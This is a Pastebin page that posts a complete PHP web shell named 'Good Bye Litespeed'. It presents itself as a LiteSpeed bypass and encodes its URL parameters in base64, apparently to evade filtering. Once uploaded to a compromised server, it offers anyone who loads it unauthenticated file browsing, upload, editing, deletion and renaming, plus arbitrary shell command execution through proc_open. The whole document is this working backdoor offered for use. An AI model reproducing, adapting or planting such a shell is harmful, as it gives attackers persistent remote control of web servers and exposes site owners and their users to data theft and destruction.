willysec_id

GoodByeLiteSpeed Shell Bypass

Jun 24th, 2025
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.28 KB | Cybersecurity | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6.     <title>Good Bye Litespeed</title>
  7.     <link href="https://fonts.googleapis.com/css?family=Arial+Black&display=swap" rel="stylesheet">
  8.     <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/tailwind.min.css" rel="stylesheet">
  9.     <style>
  10.         * {
  11.             cursor: url(https://ani.cursors-4u.net/cursors/cur-13/cur1161.ani), auto !important;
  12.         }
  13.     </style>
  14. </head>
  15. <body class="bg-gray-900 text-white font-sans">
  16. <div class="container mx-auto p-4">
  17.     <?php
  18.     $timezone = date_default_timezone_get();
  19.     date_default_timezone_set($timezone);
  20.     $rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
  21.     $scriptDirectory = dirname(__FILE__);
  22.  
  23.     function x($b) {
  24.         return base64_encode($b);
  25.     }
  26.  
  27.     function y($b) {
  28.         return base64_decode($b);
  29.     }
  30.  
  31.     foreach ($_GET as $c => $d) $_GET[$c] = y($d);
  32.  
  33.     $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
  34.     chdir($currentDirectory);
  35.  
  36.     $viewCommandResult = '';
  37.  
  38.     if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  39.         if (isset($_FILES['fileToUpload'])) {
  40.             $target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]);
  41.             if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
  42.                 echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " Upload success";
  43.             } else {
  44.                 echo "Sorry, there was an error uploading your file.";
  45.             }
  46.         } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
  47.             $newFolder = $currentDirectory . '/' . $_POST['folder_name'];
  48.             if (!file_exists($newFolder)) {
  49.                 mkdir($newFolder);
  50.                 echo '<hr>Folder created successfully!';
  51.             } else {
  52.                 echo '<hr>Error: Folder already exists!';
  53.             }
  54.         } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
  55.             $fileName = $_POST['file_name'];
  56.             $newFile = $currentDirectory . '/' . $fileName;
  57.             if (!file_exists($newFile)) {
  58.                 if (file_put_contents($newFile, $_POST['file_content']) !== false) {
  59.                     echo '<hr>File created successfully!';
  60.                 } else {
  61.                     echo '<hr>Error: Failed to create file!';
  62.                 }
  63.             } else {
  64.                 if (file_put_contents($newFile, $_POST['file_content']) !== false) {
  65.                     echo '<hr>File edited successfully!';
  66.                 } else {
  67.                     echo '<hr>Error: Failed to edit file!';
  68.                 }
  69.             }
  70.         } elseif (isset($_POST['delete_file'])) {
  71.             $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
  72.             if (file_exists($fileToDelete)) {
  73.                 if (is_dir($fileToDelete)) {
  74.                     if (deleteDirectory($fileToDelete)) {
  75.                         echo '<hr>Folder deleted successfully!';
  76.                     } else {
  77.                         echo '<hr>Error: Failed to delete folder!';
  78.                     }
  79.                 } else {
  80.                     if (unlink($fileToDelete)) {
  81.                         echo '<hr>File deleted successfully!';
  82.                     } else {
  83.                         echo '<hr>Error: Failed to delete file!';
  84.                     }
  85.                 }
  86.             } else {
  87.                 echo '<hr>Error: File or directory not found!';
  88.             }
  89.         } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
  90.             $oldName = $currentDirectory . '/' . $_POST['old_name'];
  91.             $newName = $currentDirectory . '/' . $_POST['new_name'];
  92.             if (file_exists($oldName)) {
  93.                 if (rename($oldName, $newName)) {
  94.                     echo '<hr>Item renamed successfully!';
  95.                 } else {
  96.                     echo '<hr>Error: Failed to rename item!';
  97.                 }
  98.             } else {
  99.                 echo '<hr>Error: Item not found!';
  100.             }
  101.         } elseif (isset($_POST['cmd_input'])) {
  102.             $command = $_POST['cmd_input'];
  103.             $descriptorspec = [
  104.                 0 => ['pipe', 'r'],
  105.                 1 => ['pipe', 'w'],
  106.                 2 => ['pipe', 'w']
  107.             ];
  108.             $process = proc_open($command, $descriptorspec, $pipes);
  109.             if (is_resource($process)) {
  110.                 $output = stream_get_contents($pipes[1]);
  111.                 $errors = stream_get_contents($pipes[2]);
  112.                 fclose($pipes[1]);
  113.                 fclose($pipes[2]);
  114.                 proc_close($process);
  115.                 if (!empty($errors)) {
  116.                     $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box w-full p-2 bg-gray-800 text-gray-300 border border-gray-600 rounded-md" readonly>' . htmlspecialchars($errors) . '</textarea>';
  117.                 } else {
  118.                     $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box w-full p-2 bg-gray-800 text-gray-300 border border-gray-600 rounded-md" readonly>' . htmlspecialchars($output) . '</textarea>';
  119.                 }
  120.             } else {
  121.                 $viewCommandResult = '<hr><p>Error: Failed to execute command!</p>';
  122.             }
  123.         } elseif (isset($_POST['view_file'])) {
  124.             $fileToView = $currentDirectory . '/' . $_POST['view_file'];
  125.             if (file_exists($fileToView)) {
  126.                 $fileContent = file_get_contents($fileToView);
  127.                 $viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p><textarea class="result-box w-full p-2 bg-gray-800 text-gray-300 border border-gray-600 rounded-md" readonly>' . htmlspecialchars($fileContent) . '</textarea>';
  128.             } else {
  129.                 $viewCommandResult = '<hr><p>Error: File not found!</p>';
  130.             }
  131.         }
  132.     }
  133.  
  134.     echo '<div class="text-center mb-8">
  135.            <h1 class="text-4xl font-bold">Good Bye Litespeed [./Heartzz]</h1>
  136.            <p class="text-lg italic">v.1.3</p>
  137.        </div>';
  138.     echo "<p>Zona waktu server: " . $timezone . "</p>";
  139.     echo "<p>Waktu server saat ini: " . date('Y-m-d H:i:s') . "</p>";
  140.     echo '<hr class="my-4">';
  141.     echo '<div class="mb-4">curdir: ';
  142.  
  143.     $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
  144.     $currentPath = '';
  145.     $homeLinkPrinted = false;
  146.     foreach ($directories as $index => $dir) {
  147.         $currentPath .= DIRECTORY_SEPARATOR . $dir;
  148.         if ($index == 0) {
  149.             echo ' / <a href="?d=' . x($currentPath) . '" class="text-blue-400">' . $dir . '</a>';
  150.         } else {
  151.             echo ' / <a href="?d=' . x($currentPath) . '" class="text-blue-400">' . $dir . '</a>';
  152.         }
  153.     }
  154.  
  155.     echo ' / <a href="?d=' . x($scriptDirectory) . '" class="text-green-400">[ GO Home ]</a>';
  156.     echo '</div>';
  157.     echo '<hr class="my-4">';
  158.  
  159.     echo '<div class="flex flex-col md:flex-row space-y-4 md:space-y-0 md:space-x-4 mb-8">';
  160.     echo '<button onclick="openModal(\'createFolderModal\')" class="w-full p-2 bg-green-500 text-white rounded-md">Create Folder</button>';
  161.     echo '<button onclick="openModal(\'createEditFileModal\')" class="w-full p-2 bg-blue-500 text-white rounded-md">Create / Edit File</button>';
  162.     echo '<button onclick="openModal(\'uploadFileModal\')" class="w-full p-2 bg-yellow-500 text-white rounded-md">Upload File</button>';
  163.     echo '<button onclick="openModal(\'runCommandModal\')" class="w-full p-2 bg-red-500 text-white rounded-md">Run Command</button>';
  164.     echo '</div>';
  165.  
  166.     echo $viewCommandResult;
  167.  
  168.     echo '<div>';
  169.     echo '</div>';
  170.     echo '<div class="overflow-x-auto max-w-full">';
  171.     echo '<table class="table-auto w-full bg-gray-800 text-gray-300 border border-gray-600 rounded-md">';
  172.     echo '<thead><tr class="bg-gray-700"><th class="px-4 py-2">Item Name</th><th class="px-4 py-2">Size</th><th class="px-4 py-2">Date</th><th class="px-4 py-2">Permissions</th><th class="px-4 py-2">View</th><th class="px-4 py-2">Delete</th><th class="px-4 py-2">Rename</th></tr></thead>';
  173.     echo '<tbody>';
  174.     foreach (scandir($currentDirectory) as $v) {
  175.         $u = realpath($v);
  176.         $s = stat($u);
  177.         $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?d=' . x($currentDirectory) . '&f=' . x($v);
  178.         $permission = substr(sprintf('%o', fileperms($u)), -4);
  179.         $writable = is_writable($u);
  180.         echo '<tr class="' . ($writable ? 'bg-gray-600' : 'bg-gray-700') . '">
  181.                <td class="border px-4 py-2"><a href="' . $itemLink . '" class="text-blue-400">' . $v . '</a></td>
  182.                <td class="border px-4 py-2">' . filesize($u) . '</td>
  183.                <td class="border px-4 py-2">' . date('Y-m-d H:i:s', filemtime($u)) . '</td>
  184.                <td class="border px-4 py-2">' . $permission . '</td>
  185.                <td class="border px-4 py-2"><form method="post" action="?' . (isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '') . '"><input type="hidden" name="view_file" value="' . htmlspecialchars($v) . '"><input type="submit" value="View" class="bg-blue-500 text-white rounded-md p-2"></form></td>
  186.                <td class="border px-4 py-2"><form method="post" action="?' . (isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '') . '"><input type="hidden" name="delete_file" value="' . htmlspecialchars($v) . '"><input type="submit" value="Delete" class="bg-red-500 text-white rounded-md p-2"></form></td>
  187.                <td class="border px-4 py-2"><form method="post" action="?' . (isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '') . '"><input type="hidden" name="old_name" value="' . htmlspecialchars($v) . '"><input type="text" name="new_name" placeholder="New Name" class="w-full p-2 bg-gray-800 text-gray-300 border border-gray-600 rounded-md"><input type="submit" name="rename_item" value="Rename" class="w-full p-2 bg-yellow-500 text-white rounded-md"></form></td>
  188.            </tr>';
  189.     }
  190.     echo '</tbody></table></div>';
  191.     function deleteDirectory($dir) {
  192.         if (!file_exists($dir)) {
  193.             return true;
  194.         }
  195.         if (!is_dir($dir)) {
  196.             return unlink($dir);
  197.         }
  198.         foreach (scandir($dir) as $item) {
  199.             if ($item == '.' || $item == '..') {
  200.                 continue;
  201.             }
  202.             if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
  203.                 return false;
  204.             }
  205.         }
  206.         return rmdir($dir);
  207.     }
  208.     ?>
  209. </div>
  210.  
  211. <!-- Create Folder Modal -->
  212. <div id="createFolderModal" class="fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center hidden">
  213.     <div class="bg-gray-800 p-4 rounded-lg shadow-lg max-w-sm w-full">
  214.         <h2 class="text-xl mb-4">Create Folder</h2>
  215.         <form method="post">
  216.             <input type="text" name="folder_name" placeholder="Folder Name" class="w-full p-2 mb-4 bg-gray-700 text-gray-300 border border-gray-600 rounded-md">
  217.             <div class="flex space-x-4">
  218.                 <button type="button" onclick="closeModal('createFolderModal')" class="w-full p-2 bg-red-500 text-white rounded-md">Cancel</button>
  219.                 <button type="submit" class="w-full p-2 bg-green-500 text-white rounded-md">Create</button>
  220.             </div>
  221.         </form>
  222.     </div>
  223. </div>
  224.  
  225. <!-- Create / Edit File Modal -->
  226. <div id="createEditFileModal" class="fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center hidden">
  227.     <div class="bg-gray-800 p-4 rounded-lg shadow-lg max-w-sm w-full">
  228.         <h2 class="text-xl mb-4">Create / Edit File</h2>
  229.         <form method="post">
  230.             <input type="text" name="file_name" placeholder="File Name" class="w-full p-2 mb-4 bg-gray-700 text-gray-300 border border-gray-600 rounded-md">
  231.             <textarea name="file_content" placeholder="File Content" class="w-full p-2 mb-4 bg-gray-700 text-gray-300 border border-gray-600 rounded-md"></textarea>
  232.             <div class="flex space-x-4">
  233.                 <button type="button" onclick="closeModal('createEditFileModal')" class="w-full p-2 bg-red-500 text-white rounded-md">Cancel</button>
  234.                 <button type="submit" class="w-full p-2 bg-blue-500 text-white rounded-md">Save</button>
  235.             </div>
  236.         </form>
  237.     </div>
  238. </div>
  239.  
  240. <!-- Upload File Modal -->
  241. <div id="uploadFileModal" class="fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center hidden">
  242.     <div class="bg-gray-800 p-4 rounded-lg shadow-lg max-w-sm w-full">
  243.         <h2 class="text-xl mb-4">Upload File</h2>
  244.         <form method="post" enctype="multipart/form-data">
  245.             <input type="file" name="fileToUpload" id="fileToUpload" placeholder="Select file:" class="w-full p-2 mb-4 bg-gray-700 text-gray-300 border border-gray-600 rounded-md">
  246.             <div class="flex space-x-4">
  247.                 <button type="button" onclick="closeModal('uploadFileModal')" class="w-full p-2 bg-red-500 text-white rounded-md">Cancel</button>
  248.                 <button type="submit" name="submit" class="w-full p-2 bg-yellow-500 text-white rounded-md">Upload</button>
  249.             </div>
  250.         </form>
  251.     </div>
  252. </div>
  253.  
  254. <!-- Run Command Modal -->
  255. <div id="runCommandModal" class="fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center hidden">
  256.     <div class="bg-gray-800 p-4 rounded-lg shadow-lg max-w-sm w-full">
  257.         <h2 class="text-xl mb-4">Run Command</h2>
  258.         <form method="post">
  259.             <input type="text" name="cmd_input" placeholder="Enter command" class="w-full p-2 mb-4 bg-gray-700 text-gray-300 border border-gray-600 rounded-md">
  260.             <div class="flex space-x-4">
  261.                 <button type="button" onclick="closeModal('runCommandModal')" class="w-full p-2 bg-red-500 text-white rounded-md">Cancel</button>
  262.                 <button type="submit" class="w-full p-2 bg-red-500 text-white rounded-md">Run</button>
  263.             </div>
  264.         </form>
  265.     </div>
  266. </div>
  267.  
  268. <script>
  269.     function openModal(modalId) {
  270.         document.getElementById(modalId).classList.remove('hidden');
  271.     }
  272.  
  273.     function closeModal(modalId) {
  274.         document.getElementById(modalId).classList.add('hidden');
  275.     }
  276. </script>
  277. </body>
  278. </html>
Add Comment
Please, Sign In to add comment